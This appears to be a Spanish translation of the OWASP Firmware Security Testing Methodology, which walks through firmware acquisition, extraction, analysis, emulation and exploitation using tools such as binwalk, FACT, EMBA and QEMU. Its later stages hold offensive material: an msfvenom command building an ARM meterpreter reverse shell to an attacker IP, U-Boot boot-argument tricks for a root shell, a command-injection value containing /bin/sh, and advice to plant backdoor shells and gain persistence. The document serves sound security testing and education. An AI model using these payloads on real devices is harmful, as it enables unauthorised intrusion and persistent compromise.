owasp fstm
1.0.0
| descripción |
|---|
FSTM se compone de nueve etapas diseñadas para permitir a los investigadores de seguridad, desarrolladores de software, aficionados y profesionales de la seguridad de la información realizar evaluaciones de seguridad del firmware. |
Ya sea conectado a la red o de forma independiente, el firmware es el centro de control de cualquier dispositivo integrado. Como tal, es crucial comprender cómo se puede manipular el firmware para realizar funciones no autorizadas y potencialmente paralizar la seguridad del ecosistema de soporte. Para comenzar a realizar pruebas de seguridad e ingeniería inversa del firmware, utilice la siguiente metodología como guía al embarcarse en una próxima evaluación. La metodología se compone de nueve etapas diseñadas para permitir a los investigadores de seguridad, desarrolladores de software, consultores, aficionados y profesionales de la seguridad de la información realizar evaluaciones de seguridad del firmware.
| Escenario | Descripción |
|---|---|
| 1. Recopilación y reconocimiento de información | Adquirir todos los detalles técnicos y de documentación relacionados con el firmware del dispositivo de destino. |
| 2. Obtención de firmware | Obtenga firmware utilizando uno o más de los métodos propuestos enumerados |
| 3. Analizando firmware | Examinar las características del firmware de destino. |
| 4. Extrayendo el sistema de archivos | Tallar el contenido del sistema de archivos del firmware de destino |
| 5. Analizar el contenido del sistema de archivos | Analice estáticamente los archivos binarios y de configuración del sistema de archivos extraídos en busca de vulnerabilidades. |
| 6. Emulación de firmware | Emular archivos y componentes de firmware |
| 7. Análisis dinámico | Realice pruebas de seguridad dinámicas contra firmware e interfaces de aplicaciones. |
| 8. Análisis en tiempo de ejecución | Analizar archivos binarios compilados durante el tiempo de ejecución del dispositivo |
| 9. Explotación binaria | Explotar las vulnerabilidades identificadas descubiertas en etapas anteriores para lograr la ejecución de root y/o código. |
Las siguientes secciones detallarán más cada etapa con ejemplos de respaldo cuando corresponda. Considere visitar la página del proyecto OWASP Internet of Things y el repositorio de GitHub para obtener las últimas actualizaciones de metodología y los próximos lanzamientos del proyecto.
Se puede descargar una máquina virtual Ubuntu (EmbedOS) preconfigurada con las herramientas de prueba de firmware utilizadas en este documento a través del siguiente enlace. Los detalles sobre las herramientas de EmbedOS se pueden encontrar en GitHub en el siguiente repositorio https://github.com/scriptingxss/EmbedOS.
Durante esta etapa, recopile tanta información sobre el objetivo como sea posible para comprender su composición general y la tecnología subyacente. Intente reunir lo siguiente:
La información mencionada anteriormente debe recopilarse antes del trabajo de campo de pruebas de seguridad mediante un cuestionario o formulario de admisión. Asegúrese de aprovechar los equipos internos de desarrollo de líneas de productos para adquirir datos precisos y actualizados. Comprenda los controles de seguridad aplicados, así como los elementos de la hoja de ruta, los problemas de seguridad conocidos y los riesgos más preocupantes. Si es necesario, programe inmersiones profundas de seguimiento sobre características particulares en cuestión. Las evaluaciones tienen más éxito dentro de un entorno colaborativo.
Siempre que sea posible, adquiera datos utilizando herramientas y técnicas de inteligencia de código abierto (OSINT). Si se utiliza software de código abierto, descargue el repositorio y realice análisis estáticos tanto manuales como automatizados con respecto al código base. A veces, los proyectos de software de código abierto ya utilizan herramientas de análisis estático gratuitas proporcionadas por proveedores que proporcionan resultados de escaneo, como Coverity Scan y LGTM de Semmle. Por ejemplo, las capturas de pantalla siguientes muestran fragmentos de los resultados del Coverity Scan de Das U-Boot.
Figura : Escaneo de cobertura de U-Boot
Figura : Análisis de escaneo de cobertura de U-Boot
A continuación se muestran capturas de pantalla de los resultados de Dropbear del análisis de LGTM.
Figura : Alertas LGTM Dropbear
Figura : Resultados de LGTM Dropbear
Con la información disponible, se debe realizar un ejercicio de modelo de amenaza ligera, mapeando las superficies de ataque y las áreas de impacto que muestran el mayor valor en caso de compromiso.
Para comenzar a revisar el contenido del firmware, se debe adquirir el archivo de imagen del firmware. Intente obtener el contenido del firmware utilizando uno o más de los siguientes métodos:
*Nota: asegúrese de seguir las leyes y regulaciones locales al descargar datos de servicios de almacenamiento de proveedores de nube expuestos.
Cada uno de los métodos enumerados varía en dificultad y no debe considerarse una lista exhaustiva. Seleccionar el método apropiado de acuerdo con los objetivos del proyecto y las reglas de participación. Si es posible, solicite una versión de depuración y una versión de lanzamiento del firmware para maximizar los casos de uso de cobertura de prueba en caso de que el código o la funcionalidad de depuración se compilen dentro de una versión.
Una vez obtenida la imagen del firmware, explore aspectos del archivo para identificar sus características. Utilice los siguientes pasos para analizar los tipos de archivos de firmware, los posibles metadatos del sistema de archivos raíz y obtener una comprensión adicional de la plataforma para la que está compilado.
Aprovecha utilidades como:
file <bin>
strings
strings -n5 <bin>
strings -n16 <bin>#longer than 16
strings -tx <bin> #print offsets in hex
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
Si ninguno de los métodos anteriores proporciona datos útiles, es posible lo siguiente:
Si el binario puede estar cifrado, verifique la entropía usando binwalk con el siguiente comando:
$ binwalk -E <bin>
Baja entropía = No es probable que esté cifrado
Alta entropía = Probablemente esté cifrado (o comprimido de alguna manera).
También hay herramientas alternativas disponibles usando Binvis en línea y la aplicación independiente.
Esta etapa implica mirar dentro del firmware y analizar los datos relativos del sistema de archivos para comenzar a identificar tantos problemas de seguridad potenciales como sea posible. Utilice los siguientes pasos para extraer el contenido del firmware para revisar el código no compilado y las configuraciones del dispositivo utilizadas en las siguientes etapas. A continuación se muestran los métodos de extracción manuales y automatizados.
$ binwalk -ev <bin>
Los archivos se extraerán en " _binaryname/filesystemtype/ "
Tipos de sistemas de archivos: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs
2a. A veces, binwalk no tendrá el byte mágico del sistema de archivos en sus firmas. En estos casos, utilice binwalk para encontrar el desplazamiento del sistema de archivos y extraer el sistema de archivos comprimido del binario y extraer manualmente el sistema de archivos según su tipo siguiendo los pasos a continuación.
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
2b. Ejecute el siguiente comando dd para crear el sistema de archivos Squashfs.
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
Alternativamente, también se podría ejecutar el siguiente comando.
$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
2c. Para squashfs (usado en el ejemplo anterior)
$ unsquashfs dir.squashfs
Los archivos estarán posteriormente en el directorio " squashfs-root ".
2do. Archivos de almacenamiento CPIO
$ cpio -ivd --no-absolute-filenames -F <bin>
2f. Para sistemas de archivos jffs2
$ jefferson rootfsfile.jffs2
2do. Para sistemas de archivos ubifs con flash NAND
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
Durante esta etapa, se recopilan pistas para las etapas de análisis dinámico y de tiempo de ejecución. Investigue si el firmware de destino contiene lo siguiente (no exhaustivo):
Analice estáticamente el contenido del sistema de archivos y el código no compilado manualmente o aprovechando herramientas de automatización como firmwalker que analiza lo siguiente:
Las siguientes subsecciones presentan herramientas de análisis de firmware automatizado de código abierto.
Ejecute firmwalker dentro de su directorio en ~/tools/firmwalker y apunte firmwalker a la ruta absoluta del directorio raíz del sistema de archivos extraído. Firmwalker utiliza información en el directorio "/data/” para analizar reglas. Puede encontrar una bifurcación personalizada modificada por Aaron Guzman con comprobaciones adicionales en GitHub en https://github.com/scriptingxss/firmwalker. Los siguientes ejemplos muestran el uso de firmwalker utilizado en IoTGoat de OWASP. Los proyectos de firmware vulnerables adicionales se enumeran en la sección Firmware vulnerable al final del documento.
$ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/
Vea el resultado de firmwalker a continuación.
Se generarán dos archivos, firmwalker.txt y firmwalkerappsec.txt. Estos archivos de salida deben revisarse manualmente.
Afortunadamente, se encuentran disponibles múltiples herramientas de análisis de firmware automatizadas de código abierto. Las características de HECHO incluyen lo siguiente:
Identificación de componentes de software, como sistema operativo, arquitectura de CPU y componentes de terceros junto con su información de versión asociada.
Extracción de sistemas de archivos de firmware a partir de imágenes
Detección de certificados y claves privadas
Detección de implementaciones débiles asignadas a la enumeración de debilidades comunes (CWE)
Detección de vulnerabilidades basada en feeds y firmas
Análisis básico del comportamiento estático.
Comparación (diff) de versiones y archivos de firmware
Emulación en modo de usuario de binarios del sistema de archivos usando QEMU
Detección de mitigaciones binarias como NX, DEP, ASLR, stack canaries, RELRO y FORTIFY_SOURCE
API DESCANSO
y más...
A continuación se muestran instrucciones para utilizar el kit de herramientas de comparación de análisis de firmware dentro de la máquina virtual preconfigurada complementaria.
Consejo: Se recomienda ejecutar FACT con una computadora que tenga 16 núcleos y 64 GB de RAM, aunque la herramienta puede ejecutarse con un mínimo de 4 núcleos y 8 GB de RAM a un ritmo mucho más lento. Los resultados del resultado del análisis varían según los recursos asignados a la máquina virtual. Cuantos más recursos, más rápido FACT completará los envíos de escaneos.
$ cd ~/tools/FACT_core/
$ sudo ./start_all_installed_fact_components
Navegue a http://127.0.0.1:5000 en el navegador
Figura : Panel de FACT
Cargue componentes de firmware en FACT para su análisis. En la captura de pantalla siguiente, se cargará y analizará el firmware completo comprimido con su sistema de archivos raíz.
Figura : Carga de FACT
Dependiendo de los recursos de hardware proporcionados a FACT, los resultados del análisis aparecerán con los resultados del análisis en un momento determinado. Este proceso puede llevar horas si se asignan recursos mínimos.
Figura : FACT IoTGoat
Figura : Resultados de mitigación de exploits de FACT IoTGoat
Desensamble los archivos binarios de destino sospechosos con datos recopilados de FACT utilizando IDA Pro, Ghidra, Hopper, Capstone o Binary Ninja. Analice archivos binarios en busca de posibles llamadas al sistema de ejecución remota de código, cadenas, listas de funciones, vulnerabilidades de corrupción de memoria e identifique referencias externas para system() o llamadas a funciones similares. Tenga en cuenta las posibles vulnerabilidades que podrá utilizar en los próximos pasos.
La siguiente captura de pantalla muestra el binario "shellback" desmontado con Ghidra.
Figura : Análisis de Shellback Ghidra
El análisis binario común consiste en revisar lo siguiente:
$ readelf -aW bin/*| grep stack_chk_fail$ mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail$ readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC'$ readelf -h <bin> | grep 'Type:[[:space:]]*DYN'$ readelf -d <bin> | grep -q 'DEBUG'$ readelf --syms <bin>$ nm <bin>-el especifica caracteres little-endian de 16 bits de ancho (por ejemplo, UTF-16).-eb para big endian-t devolverá el desplazamiento de la cadena dentro del archivo.-tx lo devolverá en formato hexadecimal, T-to en octal y -td en decimal.strings -n5 <bin>strings -el <bin>strings -n16 <bin>strings -tx <bin>$ readelf -lW bin/<bin>| grep STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
La 'E' indica que la pila es ejecutable.
$ execstack bin/*
X bin/ash
X bin/busybox
$ readelf -d binary | grep BIND_NOW$ readelf -d binary | grep GNU_RELROUn script que automatiza la comprobación de muchas de las propiedades binarias anteriores es checksec.sh. A continuación se muestran dos ejemplos del uso del script.
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
Figura : Checksec.sh
Para archivos binarios de Microsoft (EXE y DLL), utilice PESecurity para comprobar ASLR, DEP, SafeSEH, StrongNaming, Authenticode, Control Flow Guard y HighEntropyVA.
EMBA está diseñado como una herramienta central de análisis de firmware para probadores de penetración. Admite el proceso completo de análisis de seguridad, comenzando con la extracción del firmware , el análisis estático y el análisis dinámico mediante emulación hasta la generación de un informe basado en web para su posterior análisis. Lanzado con un solo comando, EMBA descubre automáticamente posibles puntos débiles y vulnerabilidades en el firmware bajo prueba, como archivos binarios inseguros, componentes de software antiguos y obsoletos, scripts potencialmente vulnerables o contraseñas codificadas.
Las características de EMBA incluyen lo siguiente:
EMBA utiliza muchas otras herramientas en segundo plano. Los recursos necesarios del sistema dependen mucho del firmware que vayas a analizar. Por lo general, EMBA se ejecuta bastante bien en el siguiente entorno:
Para instalar el entorno necesario, debe ejecutar el script de instalación con permisos de root:
sudo ./installer.sh -d Debe utilizar el modificador -d con el instalador para ejecutar una instalación típica. Esto instalará las dependencias necesarias (por ejemplo, cve-search) en el host y descargará la imagen acoplable de EMBA . Recomendamos utilizar esto para la instalación inicial.
Una vez finalizado el proceso de instalación, es posible utilizar EMBA para el análisis de seguridad del firmware desde la línea de comandos. Antes de iniciar EMBA , descargue un firmware de prueba como el firmware OWASP IoTGoat. El siguiente comando muestra un comando EMBA típico:
sudo ./emba.sh -f ~ /IoTGoat-x86.img.gz -l ~ /emba_logs_iotgoat -p ./scan-profiles/default-scan.embaEl comando mostrado configura las siguientes opciones básicas:
Hay más opciones disponibles y se pueden ver a través de ./emba.sh -h
El primer paso de cada prueba de firmware es una verificación del estado de la instalación actual:
Una vez que la verificación de estado fue exitosa, el proceso de análisis comienza con la identificación y extracción del firmware configurado:
Mientras se prueba el firmware, todos los resultados y el estado actual se muestran en vivo en el terminal. Como un análisis típico se ejecutará en modo subproceso ( parámetro -t ), esta salida será confusa y no será muy fácil de leer. Para un análisis más detallado, se recomienda utilizar los archivos de registro basados en texto generados en el directorio de registro y el informe web ( parámetro -W ). Después de finalizar el escaneo del firmware, EMBA muestra un resumen de los resultados en el terminal:
Hay más resultados disponibles en el directorio de registro y se pueden analizar en la línea de comando o mediante el navegador web:
firefox ~ /emba_logs_iotgoat/html-report/index.html
El informe HTML generado es autónomo y se puede compartir fácilmente. Además, este informe es completamente interactivo y es posible acceder a todos los detalles de las pruebas a través del panel de resumen agregado.
Más detalles están disponibles en el repositorio git oficial de EMBA .
EMBArk es la interfaz empresarial basada en web para el escáner de seguridad de firmware EMBA . Está desarrollado para proporcionar el analizador de seguridad de firmware EMBA como un servicio en contenedores y para facilitar el acceso al backend de escaneo de firmware EMBA independientemente del sistema y el sistema operativo.
Además, EMBArk mejora el suministro de datos al agregar los distintos resultados del escaneo en un panel de administración agregado.
En la página de detalles de todos los análisis, puede acceder al informe detallado de un análisis de firmware, iniciar pruebas adicionales y descargar los registros de análisis:
Más detalles con los principales resultados de cada prueba de firmware están disponibles en el informe detallado:
Hay más información disponible en el repositorio git oficial de EMBArk .
Nota: EMBArk se encuentra en una etapa de desarrollo muy temprana.
Utilizando los detalles y las pistas identificadas en los pasos anteriores, se debe emular el firmware y sus archivos binarios encapsulados para verificar posibles vulnerabilidades. Para lograr la emulación de firmware, existen algunos métodos que se enumeran a continuación.
/usr/bin/shellbackPara comenzar a emular parcialmente binarios, se deben conocer la arquitectura y el endianidad de la CPU para seleccionar el binario de emulación QEMU apropiado en los siguientes pasos.
$ binwalk -Y <bin>
$ readelf -h <bin>
el-little endian
eb - big endian
Binwalk se puede utilizar para identificar el endianness de los binarios de firmware empaquetados (no de los binarios dentro del firmware extraído) usando el siguiente comando.
$ binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3480 0xD98 ARM executable code, 32-bit, little endian, at least 1154 valid instructions
Una vez que se hayan identificado la arquitectura de la CPU y el endianidad, ubique el binario QEMU apropiado para realizar una emulación parcial (no para emular el firmware completo, sino los binarios con el firmware extraído).
Normalmente, en:
/usr/local/qemu-arch o /usr/bin/qemu-arch
Copie el binario QEMU aplicable en el sistema de archivos raíz extraído. El segundo comando muestra la copia del binario QEMU del brazo estático al sistema de archivos raíz extraído dentro de un shell ZSH que muestra la ruta absoluta.
> cp /usr/local/qemu-arch /extractedrootFS/
/home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
> cp /usr/bin/qemu-arm-static .
Ejecute el binario ARM (o el arco apropiado) para emular usando QEMU y chroot con el siguiente comando:
$ sudo chroot . ./qemu-arch <binarytoemulate>
El siguiente ejemplo muestra Busybox emulado dentro de una arquitectura x64 típica que probablemente esté utilizando una máquina atacante.
> sudo chroot . ./qemu-arm-static bin/busybox ls
[sudo] password for embedos:
bin etc overlay rom sys var
dev lib proc root tmp www
dnsmasq_setup.sh mnt qemu-arm-static sbin usr
A continuación se muestra un ejemplo de cómo emular un servicio que escucha en el puerto 5515.
> sudo chroot . ./qemu-arm-static usr/bin/shellback
Además, el mismo servicio se puede emular con qiling framework.
> ./qltool run --console False -f ~/_IoTGoat-x86.img.extracted/squashfs-root/usr/bin/shellback --rootfs ~/_IoTGoat-x86.img.extracted/squashfs-root
En otra terminal, verifique si el servicio está escuchando localmente e intente conectarse con netcat.
> sudo lsof -i :5515
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
qemu-arm- 13264 root 3u IPv4 662221 0t0 TCP *:5515 (LISTEN)
> nc -nv 127.0.0.1 5515
Connection to 127.0.0.1 5515 port [tcp/*] succeeded!
[***]Successfully Connected to IoTGoat's Backdoor[***]
A veces, el servidor HTTP envía las solicitudes al binario CGI. Simplemente emulando el binario CGI, es posible analizar el procedimiento del proceso o verificar la vulnerabilidad sin configurar un servidor HTTP. El siguiente ejemplo emite una solicitud GET a un binario MIPS CGI.
~/DIR850L/squashfs-root/htdocs/web$ ls -l captcha.cgi
lrwxrwxrwx 1 root root 14 Oct 17 2017 captcha.cgi -> /htdocs/cgibin
# fix the broken symbolic link
~/DIR850L/squashfs-root/htdocs/web$ rm captcha.cgi && ln -s ../cgibin captcha.cgi
~/DIR850L/squashfs-root$ sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="GET" -E REQUEST_URI="/captcha.cgi" -E REMOTE_ADDR="192.168.1.1" -E CONTENT_TYPE="text/html" /htdocs/web/captcha.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><captcha>
<result>FAIL</result><message>NO SESSION</message>
</captcha>
Con el binario de destino emulado, interactúe con su intérprete o servicio de escucha. Fuzz su aplicación y sus interfaces de red como se indica en la siguiente fase.
Cuando sea posible, utilice herramientas de automatización como firmadyne, el kit de herramientas de análisis de firmware o el marco de emulación de firmware ARM-X para realizar una emulación completa del firmware. Estas herramientas son esencialmente envoltorios para QEMU y otras funciones ambientales como nvram.
Usando el kit de herramientas de análisis de firmware, simplemente ejecute el siguiente comando:
sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| __,_| __|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: IoTGoat-rpi-2.img
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('eth0', '192.168.1.1')]
[...]
Adding route to 192.168.1.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
BusyBox v1.28.4 () built-in shell (ash)
.--,\__
██████╗ ██╗ ██╗ █████╗ ███████╗██████╗ `-. a`-.__
██╔═══██╗██║ ██║██╔══██╗██╔════╝██╔══██╗ | ')
██║ ██║██║ █╗ ██║███████║███████╗██████╔╝ / _.-'-,`;
██║ ██║██║███╗██║██╔══██║╚════██║██╔═══╝ / | { /
╚██████╔╝╚███╔███╔╝██║ ██║███████║██║ / | { /
╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ..-"``~"-' ; )
╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐ ;' `
║│ │ ║ ║ ╦│ │├─┤ │ ;' `
╩└─┘ ╩ ╚═╝└─┘┴ ┴ ┴ ;' `
------------------------------------------------------------ ;'
GitHub: https://github.com/OWASP/IoTGoat
------------------------------------------------------------
root@IoTGoat:/#
Nota: Es posible que sea necesario realizar modificaciones en estas herramientas si el firmware contiene una compresión poco común, un sistema de archivos o una arquitectura no compatible.
En esta etapa, realice pruebas dinámicas mientras un dispositivo se ejecuta en su entorno normal o emulado. Los objetivos en esta etapa pueden variar según el proyecto y el nivel de acceso otorgado. Por lo general, esto implica la manipulación de las configuraciones del gestor de arranque, pruebas web y API, fuzzing (servicios de red y aplicaciones), así como escaneo activo utilizando varios conjuntos de herramientas para adquirir acceso elevado (raíz) y/o ejecución de código.
Las herramientas que pueden resultar útiles son (no exhaustivas):
Metodologías web estándar de la industria de referencia, como la Guía de pruebas de OWASP y el Estándar de verificación de seguridad de aplicaciones (ASVS).
Las áreas específicas que se deben revisar dentro de la aplicación web de un dispositivo integrado son las siguientes:
Dependiendo del producto y sus interfaces de aplicación, los casos de prueba serán diferentes.
Al modificar el inicio del dispositivo y los cargadores de arranque como U-boot, intente lo siguiente:
init=/bin/sh ' al final de los argumentos de arranque.#printenv#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 int=/bin/sh#saveenv#boot#setenv ipaddr 192.168.2.2 #local IP of the device#setenv serverip 192.168.2.1 #tftp server IP#saveenv#reset#ping 192.168.2.1 #check if network access is available#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP serverubootwrite.py para escribir la imagen de uboot y envíe un firmware modificado para obtener rootFILENAME ' con comandos de inyección de comandos como 'a";/bin/sh;#' para probar la validación de entrada para los procedimientos de inicio del dispositivo.*Pruebas de seguridad del hardware
Intente cargar firmware personalizado y/o archivos binarios compilados para detectar fallas de integridad o verificación de firma. Por ejemplo, compile un shell de enlace de puerta trasera que se inicie al arrancar siguiendo los siguientes pasos.
Si ya se ha obtenido un shell raíz mediante análisis dinámico, manipulación del cargador de arranque o medios de prueba de seguridad de hardware, intente ejecutar archivos binarios maliciosos precompilados, como implantes o shells inversos. Considere el uso de herramientas automatizadas de carga útil/implantes utilizadas para marcos de comando y control (C&C). Por ejemplo, el marco Metasploit y 'msfvenom' se pueden aprovechar siguiendo los siguientes pasos.
msfvenom para especificar la carga útil de destino adecuada (-p), la IP del host del atacante (LHOST=), el número de puerto de escucha (LPORT=), el tipo de archivo (-f), la arquitectura (--arch), la plataforma (--platform linux o windows) y el archivo de salida (-o). Por ejemplo, msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linuxset payload linux/armle/meterpreter_reverse_tcpset LHOST 192.168.1.245 #attacker host IPset LPORT 445 #can be any unused portset ExitOnSession falseexploit -j -zSi es posible, identifique una vulnerabilidad dentro de los scripts de inicio para obtener acceso persistente a un dispositivo durante los reinicios. Estas vulnerabilidades surgen cuando los scripts de inicio hacen referencia, se vinculan simbólicamente o dependen de código ubicado en ubicaciones montadas que no son de confianza, como tarjetas SD y volúmenes flash utilizados para almacenar datos fuera de los sistemas de archivos raíz.
El análisis en tiempo de ejecución implica conectarse a un proceso o binario en ejecución mientras un dispositivo se ejecuta en su entorno normal o emulado. Los pasos básicos del análisis en tiempo de ejecución se proporcionan a continuación:
sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>Las herramientas que pueden resultar útiles son (no exhaustivas):
Después de identificar una vulnerabilidad dentro de un binario en los pasos anteriores, se requiere una prueba de concepto (PoC) adecuada para demostrar el impacto y el riesgo en el mundo real. El desarrollo de código de explotación requiere experiencia en programación en lenguajes de nivel inferior (por ejemplo, ASM, C/C++, shellcode, etc.), así como experiencia en la arquitectura de destino particular (por ejemplo, MIPS, ARM, x86, etc.). El código PoC implica obtener una ejecución arbitraria en un dispositivo o aplicación controlando una instrucción en la memoria.
No es común que existan protecciones de tiempo de ejecución binaria (por ejemplo, NX, DEP, ASLR, etc.) dentro de los sistemas integrados; sin embargo, cuando esto sucede, es posible que se requieran técnicas adicionales, como la programación orientada al retorno (ROP). ROP permite a un atacante implementar funcionalidad maliciosa arbitraria encadenando código existente en el proceso de destino/código binario conocido como gadgets. Será necesario tomar medidas para explotar una vulnerabilidad identificada, como un desbordamiento del buffer, mediante la formación de una cadena ROP. Una herramienta que puede resultar útil para situaciones como estas es el buscador de dispositivos de Capstone o ROPGadget: https://github.com/JonathanSalwan/ROPgadget.
Utilice las siguientes referencias para obtener más orientación:
Se utilizará una combinación de herramientas durante la evaluación del firmware. A continuación se enumeran las herramientas de uso común.
Para practicar el descubrimiento de vulnerabilidades en el firmware, utilice los siguientes proyectos de firmware vulnerables como punto de partida.
Comentarios y contribuciones
Si desea contribuir o brindar comentarios para mejorar esta metodología, comuníquese con [email protected] (@scriptingxss). ¡Asegúrese de abrir un problema o una solicitud de extracción y nos aseguraremos de solucionarlo!
Un agradecimiento especial a nuestros patrocinadores Cisco Meraki, OWASP Inland Empire y OWASP Los Ángeles, así como a José Alejandro Rivas Vidal por su cuidadosa revisión.
La lista completa de contribuyentes se puede encontrar en https://github.com/scriptingxss/owasp-fstm/graphs/contributors.
Licencia
Creative Commons Atribución Compartir Igual 4.0 Internacional
